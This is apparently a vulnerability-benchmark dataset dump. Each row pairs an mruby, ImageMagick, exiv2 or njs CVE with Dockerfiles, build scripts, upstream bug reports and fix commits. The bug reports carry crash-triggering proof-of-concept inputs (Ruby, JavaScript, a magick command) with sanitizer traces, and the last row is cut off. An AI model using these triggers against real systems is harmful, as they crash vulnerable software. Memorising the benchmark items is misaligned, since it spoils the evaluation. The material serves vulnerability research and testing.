instance_id
stringlengths 17
28
| repo
stringclasses 85
values | base_commit
stringlengths 40
40
| date
timestamp[ns]date 2011-05-04 02:41:45
2025-11-08 00:00:00
| project_name
stringclasses 85
values | lang
stringclasses 3
values | dockerfile
stringlengths 178
1.15k
| build_sh
stringclasses 102
values | work_dir
stringclasses 85
values | sanitizer
stringclasses 4
values | bug_description
stringlengths 905
163k
| additional_files
listlengths 0
6
| candidate_fixes
listlengths 0
321
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|
mruby.cve-2018-11743
|
mruby/mruby
|
1dddc2f712f774b22a8f65432299cebb3b26361b
| 2018-05-30T03:05:05
|
mruby
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool ruby bison
RUN git clone https://github.com/mruby/mruby mruby
RUN git -C mruby checkout 1dddc2f712f774b22a8f65432299cebb3b26361b
WORKDIR $SRC/mruby
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
export LD=clang
export LDFLAGS="$CFLAGS"
./minirake clean && ./minirake -j$(nproc) all
|
/src/mruby
|
address
|
================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/mruby/mruby/issues/4027
## Description:
Issue: mruby/mruby#4027
Title: Use of uninitialized pointer in mrb_hash_keys
State: closed
Created by: clayton-shopify
Created at: 2018-05-28 21:58:48+00:00
Issue Body:
The following input demonstrates a crash:
```ruby
(Hash::prepend Enumerable).dup()
```
ASAN report:
```
ASAN:DEADLYSIGNAL
=================================================================
==37239==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x000106e6eca0 bp 0x7ffee9eb6080 sp 0x7ffee9eb6080 T0)
==37239==The signal is caused by a READ memory access.
==37239==Hint: address points to the zero page.
#0 0x106e6ec9f in __asan::QuickCheckForUnpoisonedRegion(unsigned long, unsigned long) (libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x15c9f)
#1 0x106ea8538 in __asan_memcpy (libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x4f538)
#2 0x105e521d1 in mrb_hash_keys hash.c:768
#3 0x105ddf551 in mrb_vm_exec vm.c:1472
#4 0x105dd2c9b in mrb_vm_run vm.c:950
#5 0x105dc94cf in mrb_run vm.c:2991
#6 0x105dc6df0 in mrb_funcall_with_block vm.c:506
#7 0x105dc2fa9 in mrb_funcall_argv vm.c:516
#8 0x105dc29e6 in mrb_funcall vm.c:396
#9 0x105d4c176 in init_copy kernel.c:300
#10 0x105d4caab in mrb_obj_dup kernel.c:383
#11 0x105d5dc13 in copy_class kernel.c:265
#12 0x105d4bd99 in init_copy kernel.c:284
#13 0x105d4a43e in mrb_obj_clone kernel.c:345
#14 0x105ddf551 in mrb_vm_exec vm.c:1472
#15 0x105dd2c9b in mrb_vm_run vm.c:950
#16 0x105e0a9f3 in mrb_top_run vm.c:3005
#17 0x10600a0c7 in mrb_load_exec parse.y:5835
#18 0x10600af09 in mrb_load_file_cxt parse.y:5844
#19 0x105d371d5 in main mruby.c:279
#20 0x7fff65687014 in start (libdyld.dylib:x86_64+0x1014)
==37239==Register values:
rax = 0x0000100000000000 rbx = 0x0000000107c39880 rcx = 0x1d7d89af7d7d7ecc rdx = 0x0000000000000000
rdi = 0xebec4d7bebebf660 rsi = 0x0000000000000010 rbp = 0x00007ffee9eb6080 rsp = 0x00007ffee9eb6080
r8 = 0x0000007cbebebebe r9 = 0x00007ffee9eb6404 r10 = 0x00007ffee9eb6660 r11 = 0x00001e1ee9eb1f00
r12 = 0x0000000000000010 r13 = 0x00007ffee9eb69a0 r14 = 0x00007ffee9eb69c0 r15 = 0xebec4d7bebebf660
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x15c9f) in __asan::QuickCheckForUnpoisonedRegion(unsigned long, unsigned long)
==37239==ABORTING
Abort trap: 6
```
This issue was reported by Daniel Teuchert, Cornelius Aschermann, Tommaso Frassetto, and Tigist Abera (https://hackerone.com/pnoltof).
|
[] |
[
{
"sha": "b64ce17852b180dfeea81cf458660be41a78974d",
"url": "https://github.com/mruby/mruby/commit/b64ce17852b180dfeea81cf458660be41a78974d"
},
{
"sha": "89f6aab25a3f9986d417f1d48aaac54873472def",
"url": "https://github.com/ksekimoto/mruby/commit/89f6aab25a3f9986d417f1d48aaac54873472def"
}
] |
imagemagick.cve-2019-13299
|
imagemagick/imagemagick
|
604588fc35c7585abb7a9e71f69bb82e4389fefc
| 2019-06-21T16:30:31
|
imagemagick
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool pkg-config cmake nasm autopoint
RUN git clone https://github.com/imagemagick/imagemagick imagemagick
RUN git -C imagemagick checkout 604588fc35c7585abb7a9e71f69bb82e4389fefc
WORKDIR $SRC/imagemagick
COPY build.sh $SRC/
|
#!/bin/bash
# Default build script template for C/C++ projects
set -eu
# Define configuration options
CONFIG_OPTS="--disable-shared"
CMAKE_OPTS="-DCMAKE_BUILD_TYPE=Debug"
MAKE_OPTS="-j$(nproc)"
BUILD_DIR="build"
# 1. Run build preparation scripts if they exist
for prep_script in buildconf autogen.sh bootstrap; do
if [ -x "$prep_script" ]; then
echo "Running $prep_script..."
./$prep_script
break
elif [ -f "$prep_script" ]; then
echo "Found $prep_script but it's not executable, setting permissions..."
chmod +x $prep_script
./$prep_script
break
fi
done
# 2. Handle different build systems
if [ -f "configure" ]; then
echo "Found configure script, running with options: $CONFIG_OPTS"
./configure $CONFIG_OPTS
echo "Building with make $MAKE_OPTS"
make $MAKE_OPTS
elif [ -f "CMakeLists.txt" ]; then
echo "Found CMakeLists.txt, using CMake build system"
mkdir -p $BUILD_DIR
cd $BUILD_DIR
cmake $CMAKE_OPTS ..
make $MAKE_OPTS
elif [ -f "Makefile" ] || [ -f "makefile" ]; then
echo "Found Makefile, building with make $MAKE_OPTS"
make $MAKE_OPTS
elif [ -f "meson.build" ]; then
echo "Found meson.build, using Meson build system"
mkdir -p $BUILD_DIR
meson setup $BUILD_DIR .
cd $BUILD_DIR
ninja
elif [ -f "GNUmakefile" ]; then
echo "Found GNUmakefile, building with make $MAKE_OPTS"
make $MAKE_OPTS
elif [ -d ".git" ] && [ -f "Makefile.am" ]; then
echo "Found Makefile.am, running autoreconf"
autoreconf -i
./configure $CONFIG_OPTS
make $MAKE_OPTS
else
echo "WARNING: No recognized build system found!"
echo "Trying generic approach:"
# Try to detect common source patterns and compile them
if ls *.c >/dev/null 2>&1 || ls *.cpp >/dev/null 2>&1 || ls *.cc >/dev/null 2>&1; then
echo "Found C/C++ source files, attempting direct compilation"
if ls *.cpp >/dev/null 2>&1 || ls *.cc >/dev/null 2>&1; then
CXX=${CXX:-g++}
echo "Compiling C++ sources with $CXX"
$CXX -g -O1 -fsanitize=address -fno-omit-frame-pointer -o main *.cpp *.cc 2>/dev/null || true
elif ls *.c >/dev/null 2>&1; then
CC=${CC:-gcc}
echo "Compiling C sources with $CC"
$CC -g -O1 -fsanitize=address -fno-omit-frame-pointer -o main *.c 2>/dev/null || true
fi
fi
fi
|
/src/imagemagick
|
address
|
================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/ImageMagick/ImageMagick/issues/1610
## Description:
Issue: ImageMagick/ImageMagick#1610
Title: heap-buffer-overflow at MagickCore/pixel-accessor.h:116:10 in GetPixelChannel
State: closed
Created by: SuhwanSong
Created at: 2019-06-21 06:05:24+00:00
Labels: bug
Issue Body:
### Prerequisites
- [x] I have written a descriptive issue title
- [x] I have verified that I am using the latest version of ImageMagick
- [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported
### Description
<!-- A description of the bug or feature -->
There's a heap-buffer-overflow at MagickCore/pixel-accessor.h:116:10 in GetPixelChannel.
### Steps to Reproduce
<!-- List of steps, sample code, failing test or link to a project that reproduces the behavior.
Make sure you place a stack trace inside a code (```) block to avoid linking unrelated issues -->
run_cmd:
`magick -seed 0 "(" magick:netscape -monochrome ")" "(" magick:netscape +repage ")" -geometry 433%-80-57 -adjoin -evaluate-sequence Median tmp`
Here's ASAN log.
```
==30168==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7febb7ba1400 at pc 0x7febc5808632 bp 0x7ffd269baff0 sp 0x7ffd269bafe8
READ of size 4 at 0x7febb7ba1400 thread T0
#0 0x7febc5808631 in GetPixelChannel ./MagickCore/pixel-accessor.h:116:10
#1 0x7febc5805ff6 in EvaluateImages MagickCore/statistic.c:587:33
#2 0x7febc4e1a5bf in CLIListOperatorImages MagickWand/operation.c:4084:22
#3 0x7febc4e2435e in CLIOption MagickWand/operation.c:5279:14
#4 0x7febc4c65a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7
#5 0x7febc4c66d0a in MagickImageCommand MagickWand/magick-cli.c:796:5
#6 0x7febc4cb0ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14
#7 0x526f95 in MagickMain utilities/magick.c:149:10
#8 0x5268e1 in main utilities/magick.c:180:10
#9 0x7febbf727b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#10 0x41b069 in _start (install/bin/magick+0x41b069)
0x7febb7ba1400 is located 0 bytes to the right of 248832-byte region [0x7febb7b64800,0x7febb7ba1400)
allocated by thread T0 here:
#0 0x4e6200 in __interceptor_posix_memalign (install/bin/magick+0x4e6200)
#1 0x7febc569fed6 in AcquireAlignedMemory MagickCore/memory.c:265:7
#2 0x7febc53e861c in OpenPixelCache MagickCore/cache.c:3728:46
#3 0x7febc53ee901 in GetImagePixelCache MagickCore/cache.c:1754:18
#4 0x7febc53f4bc9 in SyncImagePixelCache MagickCore/cache.c:5488:28
#5 0x7febc5653831 in SetImageStorageClass MagickCore/image.c:2627:10
#6 0x7febc54187e2 in AcquireImageColormap MagickCore/colormap.c:144:10
#7 0x7febc575d137 in AssignImageColors MagickCore/quantize.c:514:7
#8 0x7febc5753f38 in QuantizeImage MagickCore/quantize.c:2724:14
#9 0x7febc53ae56c in SetImageType MagickCore/attribute.c:1495:14
#10 0x7febc4e0cace in CLISimpleOperatorImage MagickWand/operation.c:2792:18
#11 0x7febc4dfec78 in CLISimpleOperatorImages MagickWand/operation.c:3685:12
#12 0x7febc4e24315 in CLIOption MagickWand/operation.c:5273:16
#13 0x7febc4c65a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7
#14 0x7febc4c66d0a in MagickImageCommand MagickWand/magick-cli.c:796:5
#15 0x7febc4cb0ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14
#16 0x526f95 in MagickMain utilities/magick.c:149:10
#17 0x5268e1 in main utilities/magick.c:180:10
#18 0x7febbf727b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
SUMMARY: AddressSanitizer: heap-buffer-overflow ./MagickCore/pixel-accessor.h:116:10 in GetPixelChannel
```
### System Configuration
<!-- Tell us about the environment where you are experiencing the bug -->
- ImageMagick version:
Version: ImageMagick 7.0.8-50 Q16 x86_64 2019-06-21 https://imagemagick.org
- Environment (Operating system, version and so on):
Description: Ubuntu 18.04.1 LTS
Release: 18.04
Codename: bionic
- Additional information:
CC=clang-7 CXX=clang++-7 ./configure --disable-openmp
<!-- Thanks for reporting the issue to ImageMagick! -->
Comments:
Comment by urban-warrior on 2019-06-22 00:43:37+00:00:
Thanks for the problem report. We can reproduce it and will have a patch to fix it in GIT master branch @ https://github.com/ImageMagick/ImageMagick later today. The patch will be available in the beta releases of ImageMagick @ http://www.imagemagick.org/download/beta/ by sometime tomorrow.
---
Comment by nohmask on 2019-07-08 01:49:37+00:00:
This was assigned CVE-2019-13299.
---
Comment by Kirill200889 on 2019-10-25 12:41:08+00:00:
Hi, I noticed that the fixing commit isn't included in the releases, only in master. All versions are still valnurable if I download the files from GitHub?
---
Comment by urban-warrior on 2019-10-25 12:54:42+00:00:
The patch is in the current release. Download the latest release, run your POC, if it fails, let us know.
---
Comment by Kirill200889 on 2019-10-25 13:33:44+00:00:
I can't uderstand something
This issue fixed by 8187d2d8fd010d2d6b1a3a8edd935beec404dddc
and 1611 issue fixed by d4fc44b58a14f76b1ac997517d742ee12c9dc5d3
These two commits together cancel each other at "MagickCore/pixel-accessor.h"
so it means this issue 1610 never fixed?
---
Comment by urban-warrior on 2019-10-25 13:50:32+00:00:
The POC is no longer triggered suggesting our patch mitigated the vulnerability and the issue is fixed. Can you still reproduce the problem in the latest releases of ImageMagick?
Commit References:
d4fc44b58a14f76b1ac997517d742ee12c9dc5d3
8187d2d8fd010d2d6b1a3a8edd935beec404dddc
|
[] |
[
{
"sha": "8187d2d8fd010d2d6b1a3a8edd935beec404dddc",
"url": "https://github.com/imagemagick/imagemagick/commit/8187d2d8fd010d2d6b1a3a8edd935beec404dddc"
},
{
"sha": "d4fc44b58a14f76b1ac997517d742ee12c9dc5d3",
"url": "https://github.com/imagemagick/imagemagick/commit/d4fc44b58a14f76b1ac997517d742ee12c9dc5d3"
},
{
"sha": "933bf025119f0de25ee589b706c09c8bb46d5a48",
"url": "https://github.com/ImageMagick/ImageMagick/commit/933bf025119f0de25ee589b706c09c8bb46d5a48"
}
] |
exiv2.cve-2017-14858
|
exiv2/exiv2
|
fa449a4d2c58d63f0d75ff259f25683a98a44630
| 2017-04-26T14:16:21
|
exiv2
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y cmake make ccache python3 libexpat1-dev zlib1g-dev libssh-dev libcurl4-openssl-dev libxml2-utils
RUN git clone https://github.com/exiv2/exiv2 exiv2
RUN git -C exiv2 checkout fa449a4d2c58d63f0d75ff259f25683a98a44630
WORKDIR $SRC/exiv2
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
mkdir -p build
cd build
cmake -DEXIV2_ENABLE_PNG=ON -DEXIV2_ENABLE_WEBREADY=ON -DEXIV2_ENABLE_CURL=OFF -DEXIV2_ENABLE_BMFF=ON -DEXIV2_TEAM_WARNINGS_AS_ERRORS=ON -DBUILD_SHARED_LIBS=OFF -DCMAKE_CXX_COMPILER="${CXX}" -DCMAKE_CXX_FLAGS="${CXXFLAGS}" -DEXIV2_BUILD_FUZZ_TESTS=ON -DEXIV2_TEAM_OSS_FUZZ=ON -DLIB_FUZZING_ENGINE="${LIB_FUZZING_ENGINE}" ..
make -j $(nproc)
|
/src/exiv2
|
address
|
================= Bug Report (1/1) ==================
## Source: Red Hat Bugzilla
## URL: https://bugzilla.redhat.com/show_bug.cgi?id=1494782
## Description:
Bugzilla ID: 1494782
Title: It is a heap-buffer-overflow in Exiv2::l2Data (types.cpp:398)
Description
Liu Zhu 2017-09-23 02:22:50 UTC
Created attachment 1329796 [details]
PoC File
# ./exiv2 007-heap-buffer-over
Error: Offset of directory Image, entry 0x0100 is out of bounds: Offset = 0x30303030; truncating the entry
Warning: Directory Image, entry 0x0111: Strip 17 is outside of the data area; ignored.
Error: Directory Photo with 8224 entries considered invalid; not read.
Warning: Removing 913 characters from the beginning of the XMP packet
Error: XMP Toolkit error 201: XML parsing failure
Warning: Failed to decode XMP metadata.
=================================================================
==49706==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62700000d930 at pc 0x7f0bec1a48d2 bp 0x7ffc2177dc50 sp 0x7ffc2177dc40
WRITE of size 1 at 0x62700000d930 thread T0
#0 0x7f0bec1a48d1 in Exiv2::l2Data(unsigned char*, int, Exiv2::ByteOrder) /root/fuzzing/exiv2-trunk/src/types.cpp:398
#1 0x7f0bec07a859 in long Exiv2::toData<int>(unsigned char*, int, Exiv2::ByteOrder) /root/fuzzing/exiv2-trunk/include/exiv2/value.hpp:1486
#2 0x7f0bec083157 in Exiv2::ValueType<int>::copy(unsigned char*, Exiv2::ByteOrder) const /root/fuzzing/exiv2-trunk/include/exiv2/value.hpp:1612
#3 0x7f0bec074aa4 in Exiv2::Exifdatum::copy(unsigned char*, Exiv2::ByteOrder) const /root/fuzzing/exiv2-trunk/src/exif.cpp:362
#4 0x7f0bec179eff in Exiv2::TiffImage::readMetadata() /root/fuzzing/exiv2-trunk/src/tiffimage.cpp:204
#5 0x43ab02 in Action::Print::printSummary() /root/fuzzing/exiv2-trunk/src/actions.cpp:289
#6 0x43a1af in Action::Print::run(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) /root/fuzzing/exiv2-trunk/src/actions.cpp:244
#7 0x422129 in main /root/fuzzing/exiv2-trunk/src/exiv2.cpp:170
#8 0x7f0beb3f382f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#9 0x421af8 in _start (/usr/local/exiv2_ASAN/bin/exiv2+0x421af8)
0x62700000d930 is located 0 bytes to the right of 12336-byte region [0x62700000a900,0x62700000d930)
allocated by thread T0 here:
#0 0x7f0bec8206b2 in operator new[](unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x996b2)
#1 0x7f0bec1a2695 in Exiv2::DataBuf::alloc(long) /root/fuzzing/exiv2-trunk/src/types.cpp:158
#2 0x7f0bec179e62 in Exiv2::TiffImage::readMetadata() /root/fuzzing/exiv2-trunk/src/tiffimage.cpp:203
#3 0x43ab02 in Action::Print::printSummary() /root/fuzzing/exiv2-trunk/src/actions.cpp:289
#4 0x43a1af in Action::Print::run(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) /root/fuzzing/exiv2-trunk/src/actions.cpp:244
#5 0x422129 in main /root/fuzzing/exiv2-trunk/src/exiv2.cpp:170
#6 0x7f0beb3f382f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
SUMMARY: AddressSanitizer: heap-buffer-overflow /root/fuzzing/exiv2-trunk/src/types.cpp:398 Exiv2::l2Data(unsigned char*, int, Exiv2::ByteOrder)
Shadow bytes around the buggy address:
0x0c4e7fff9ad0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c4e7fff9ae0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c4e7fff9af0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c4e7fff9b00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c4e7fff9b10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c4e7fff9b20: 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa fa fa
0x0c4e7fff9b30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c4e7fff9b40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c4e7fff9b50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c4e7fff9b60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c4e7fff9b70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==49706==ABORTING
Comments:
Comment 2
Liu Zhu 2017-09-23 05:15:50 UTC
./exiv2 -V
exiv2 0.26 001a00 (64 bit build)
Copyright (C) 2004-2017 Andreas Huggel.
---
Comment 3
Salvatore Bonaccorso 2017-09-28 11:52:10 UTC
This was assigned CVE-2017-14858.
Can you please report this upstream.
---
Comment 4
Agostino Sarubbo 2017-09-29 14:44:28 UTC
Is there a reason why you are fuzzing the trunk/version of exiv2 and you are reporting it to redhat instead of the upstream project?
---
Comment 5
Raphaël Hertzog 2017-10-25 09:13:59 UTC
Forwarded to upstream here: https://github.com/Exiv2/exiv2/issues/138
---
Comment 7
Jan Grulich 2019-01-28 16:08:27 UTC
Fixed with exiv2-0.27.0-1.el7_6.
Attachments:
Attachment 1329796: PoC File [Link: https://bugzilla.redhat.com/attachment.cgi?id=1329796]
|
[] |
[
{
"sha": "74cb5bab132ed76adf15df172c5e8b58cddaa96c",
"url": null
},
{
"sha": "6e3855aed7ba8bb4731fc4087ca7f9078b2f3d97",
"url": null
},
{
"sha": "8a8f60a4e7089fe7bb597770a2daab24a3941d3e",
"url": null
},
{
"sha": "daed0a758b62fbb40684596917f620d8073bd2a6",
"url": "https://github.com/D4N/exiv2/commit/daed0a758b62fbb40684596917f620d8073bd2a6"
},
{
"sha": "2b3e3f878b33ea0081de9545c4dcb15834197465",
"url": "https://github.com/Exiv2/exiv2/commit/2b3e3f878b33ea0081de9545c4dcb15834197465"
},
{
"sha": "c2d1614e7c1b515d7c08861d43db73ad3d0657ab",
"url": "https://github.com/Exiv2/exiv2/commit/c2d1614e7c1b515d7c08861d43db73ad3d0657ab"
}
] |
njs.cve-2021-46462
|
nginx/njs
|
6a40a85ff239497c6458c7dbef18f6a2736fe992
| 2022-01-19T07:12:09
|
njs
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool mercurial git libpcre2-dev
RUN git clone https://github.com/nginx/njs njs
RUN git -C njs checkout 6a40a85ff239497c6458c7dbef18f6a2736fe992
WORKDIR $SRC/njs
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./autogen.sh
CFLAGS="$CFLAGS -fno-use-cxa-atexit" CXXFLAGS="$CXXFLAGS -fno-use-cxa-atexit" ./configure
make -j$(nproc) clean
make -j$(nproc) all
make install -j$(nproc)
sed -i "s/\$libS\$libR \(-lpcre2-8$\)/\$libS\$libR -Wl,-Bstatic \1 -Wl,-Bdynamic/" /usr/local/bin/pcre2-config
./configure
make njs_fuzzer -j$(nproc)
mkdir -p $SEED_CORPUS_PATH
|
/src/njs
|
address
|
================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/nginx/njs/issues/449
## Description:
Issue: nginx/njs#449
Title: SEGV /njs/src/njs_object.c:2136:24 in njs_object_set_prototype
State: closed
Created by: anonym0us1337
Created at: 2021-12-24 06:28:54+00:00
Labels: bug, fuzzer
Issue Body:
## Env
```
Version : 0.7.0
Git Commit : 2da5d8b246b806bee6f74b575217ec3b61a25548
OS : Ubuntu 20.04
Configure : ./configure --address-sanitizer=YES
```
## POC
```
function main() {
const v3 = [23490,23490,23490,23490];
const v4 = {};
v3.length = 1577595327;
const v9 = Object.apply(...v4,v3);
v3.__proto__ = v9;
}
main();
```
## Stack Dump
```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==466519==ERROR: AddressSanitizer: SEGV on unknown address (pc 0x00000050d6d4 bp 0x7ffc8e2432f0 sp 0x7ffc8e2432e0 T0)
==466519==The signal is caused by a READ memory access.
==466519==Hint: this fault was caused by a dereference of a high value address (see register values below). Dissassemble the provided pc to learn which register was used.
#0 0x50d6d4 in njs_object_set_prototype /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_object.c:2136:24
#1 0x50d6d4 in njs_object_prototype_proto /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_object.c:2162:19
#2 0x4d9f03 in njs_value_property_set /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_value.c:1215:19
#3 0x4e45f5 in njs_vmcode_interpreter /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_vmcode.c:658:23
#4 0x53ae40 in njs_function_lambda_call /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_function.c:701:11
#5 0x4e4648 in njs_vmcode_interpreter /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_vmcode.c:783:23
#6 0x4dea17 in njs_vm_start /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_vm.c:493:11
#7 0x4c7f3d in njs_process_script /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_shell.c:881:19
#8 0x4c7375 in njs_process_file /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_shell.c:615:11
#9 0x4c7375 in main /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_shell.c:315:15
#10 0x7f3d5b6190b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#11 0x41dabd in _start (/home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/build/njs+0x41dabd)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_object.c:2136:24 in njs_object_set_prototype
==466519==ABORTING
```
## Credit
P1umer, afang5472, Kotori of NeSE@IIE
Comments:
Comment by drsm on 2021-12-24 07:37:56+00:00:
maybe related:
```js
>> (() => {}).apply({}, Array(2**10));
undefined
>> (() => {}).apply({}, Array(2**13));
Thrown:
RangeError: Maximum call stack size exceeded
at Function.prototype.apply (native)
at main (shell:1)
>> (() => {}).apply({}, Array(2**30));
undefined
>> (() => {}).apply({}, Array(2**32));
Thrown:
RangeError: Invalid array length
at Array (native)
at Function.prototype.apply (native)
at main (shell:1)
```
---
Comment by P1umer on 2022-02-15 20:34:51+00:00:
This issue was assigned [CVE-2021-46462](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-46462).
Commit References:
2da5d8b246b806bee6f74b575217ec3b61a25548
|
[] |
[
{
"sha": "39e8fa1b7db1680654527f8fa0e9ee93b334ecba",
"url": "https://github.com/nginx/njs/commit/39e8fa1b7db1680654527f8fa0e9ee93b334ecba"
},
{
"sha": "2da5d8b246b806bee6f74b575217ec3b61a25548",
"url": "https://github.com/nginx/njs/commit/2da5d8b246b806bee6f74b575217ec3b61a25548"
}
] |
imagemagick.cve-2019-13303
|
imagemagick/imagemagick
|
6fe6a0e6c901b4c9a639c104cc3420239e387794
| 2019-06-18T12:49:26
|
imagemagick
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool pkg-config cmake nasm autopoint
RUN git clone https://github.com/imagemagick/imagemagick imagemagick
RUN git -C imagemagick checkout 6fe6a0e6c901b4c9a639c104cc3420239e387794
WORKDIR $SRC/imagemagick
COPY build.sh $SRC/
|
#!/bin/bash
# Default build script template for C/C++ projects
set -eu
# Define configuration options
CONFIG_OPTS="--disable-shared"
CMAKE_OPTS="-DCMAKE_BUILD_TYPE=Debug"
MAKE_OPTS="-j$(nproc)"
BUILD_DIR="build"
# 1. Run build preparation scripts if they exist
for prep_script in buildconf autogen.sh bootstrap; do
if [ -x "$prep_script" ]; then
echo "Running $prep_script..."
./$prep_script
break
elif [ -f "$prep_script" ]; then
echo "Found $prep_script but it's not executable, setting permissions..."
chmod +x $prep_script
./$prep_script
break
fi
done
# 2. Handle different build systems
if [ -f "configure" ]; then
echo "Found configure script, running with options: $CONFIG_OPTS"
./configure $CONFIG_OPTS
echo "Building with make $MAKE_OPTS"
make $MAKE_OPTS
elif [ -f "CMakeLists.txt" ]; then
echo "Found CMakeLists.txt, using CMake build system"
mkdir -p $BUILD_DIR
cd $BUILD_DIR
cmake $CMAKE_OPTS ..
make $MAKE_OPTS
elif [ -f "Makefile" ] || [ -f "makefile" ]; then
echo "Found Makefile, building with make $MAKE_OPTS"
make $MAKE_OPTS
elif [ -f "meson.build" ]; then
echo "Found meson.build, using Meson build system"
mkdir -p $BUILD_DIR
meson setup $BUILD_DIR .
cd $BUILD_DIR
ninja
elif [ -f "GNUmakefile" ]; then
echo "Found GNUmakefile, building with make $MAKE_OPTS"
make $MAKE_OPTS
elif [ -d ".git" ] && [ -f "Makefile.am" ]; then
echo "Found Makefile.am, running autoreconf"
autoreconf -i
./configure $CONFIG_OPTS
make $MAKE_OPTS
else
echo "WARNING: No recognized build system found!"
echo "Trying generic approach:"
# Try to detect common source patterns and compile them
if ls *.c >/dev/null 2>&1 || ls *.cpp >/dev/null 2>&1 || ls *.cc >/dev/null 2>&1; then
echo "Found C/C++ source files, attempting direct compilation"
if ls *.cpp >/dev/null 2>&1 || ls *.cc >/dev/null 2>&1; then
CXX=${CXX:-g++}
echo "Compiling C++ sources with $CXX"
$CXX -g -O1 -fsanitize=address -fno-omit-frame-pointer -o main *.cpp *.cc 2>/dev/null || true
elif ls *.c >/dev/null 2>&1; then
CC=${CC:-gcc}
echo "Compiling C sources with $CC"
$CC -g -O1 -fsanitize=address -fno-omit-frame-pointer -o main *.c 2>/dev/null || true
fi
fi
fi
|
/src/imagemagick
|
address
|
================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/ImageMagick/ImageMagick/issues/1603
## Description:
Issue: ImageMagick/ImageMagick#1603
Title: heap-buffer-overflow in MagickCore/composite.c:666:45 in CompositeImage
State: closed
Created by: SuhwanSong
Created at: 2019-06-18 17:08:25+00:00
Labels: bug
Issue Body:
### Prerequisites
- [x] I have written a descriptive issue title
- [x] I have verified that I am using the latest version of ImageMagick
- [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported
### Description
<!-- A description of the bug or feature -->
There's a heap-buffer-overflow in MagickCore/composite.c:666:45 in CompositeImage.
I compiled ImageMagick with --disable-openmp option.
### Steps to Reproduce
<!-- List of steps, sample code, failing test or link to a project that reproduces the behavior.
Make sure you place a stack trace inside a code (```) block to avoid linking unrelated issues -->
run_cmd:
